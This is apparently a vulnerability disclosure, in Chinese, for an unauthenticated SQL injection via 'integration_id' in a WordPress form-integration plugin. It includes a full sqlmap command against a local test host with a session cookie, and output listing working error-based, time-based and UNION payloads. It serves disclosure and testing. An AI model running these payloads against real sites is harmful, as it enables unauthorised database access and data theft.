Advanced Form Integration – 连接 WooCommerce 和 Contact Form 7 到 Google Sheets 及其他平台 <= 1.82.0 - 通过 integration_id 的 SQL 注入到反射型跨站脚本
Advanced Form Integration – 连接 WooCommerce 和 Contact Form 7 到 Google Sheets 及其他平台的 WordPress 插件在 1.82.0 及之前的所有版本中，由于对用户提供的参数转义不足且对现有 SQL 查询缺乏充分准备，通过 'integration_id' 参数存在 SQL 注入漏洞。这使得未经身份验证的攻击者能够将额外的 SQL 查询附加到已有查询中，进而注入任意 web 脚本到页面中，如果能够成功诱骗用户执行操作（如点击链接），这些脚本将被执行。
python3 sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=advanced-form-integration-log&integration_id=1' --dbms='MySQL ' --cookie='wordpress_f0174336378e6db874da2237e8c05ac1=superadmin%7C1742982126%7CYDqu0KuYvfYzvp8sbRrxB7bBkXdnWS2Fujlrdf3Pq6L%7C24e6802d50c6cfdcd9d5b7a783d4ccdc2253f874df0e93b81bd451fffa276d99;wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse;wp-settings-time-1=1739543461;wordpress_test_cookie=WP%20Cookie%20check;wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmin%7C1742982126%7CYDqu0KuYvfYzvp8sbRrxB7bBkXdnWS2Fujlrdf3Pq6L%7C872a73f2c03032a1dcfc8408a3c791356f4fc4156cc638ef2c8cf0665450d81f;tk_ai=woo%3AHJ877y%2BjNWutqlxgSuyOlVs2;woocommerce_items_in_cart=1;woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e;wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%7C1742982127%7C%7C1742978527%7C%7C8aad0f1007238f35b028cc89c058effd'
___
__H__
___ ___[(]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:47:18 /2025-03-24/
[09:47:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: integration_id (GET)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: page=advanced-form-integration-log&integration_id=1' AND GTID_SUBSET(CONCAT(0x7171767671,(SELECT (ELT(1048=1048,1))),0x7178706271),1048)-- PdXs
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=advanced-form-integration-log&integration_id=1' AND (SELECT 6770 FROM (SELECT(SLEEP(5)))CSQO)-- wZnA
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=advanced-form-integration-log&integration_id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7171767671,0x4f6d77614e4b4f716f634e71714c6a435945444a6d76417544544c4459784c655054626e5841594a,0x7178706271),NULL,NULL,NULL,NULL#
---
[09:47:19] [INFO] testing MySQL
[09:47:19] [WARNING] reflective value(s) found and filtering out
[09:47:19] [INFO] confirming MySQL
[09:47:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.21, Apache 2.4.59
back-end DBMS: MySQL >= 8.0.0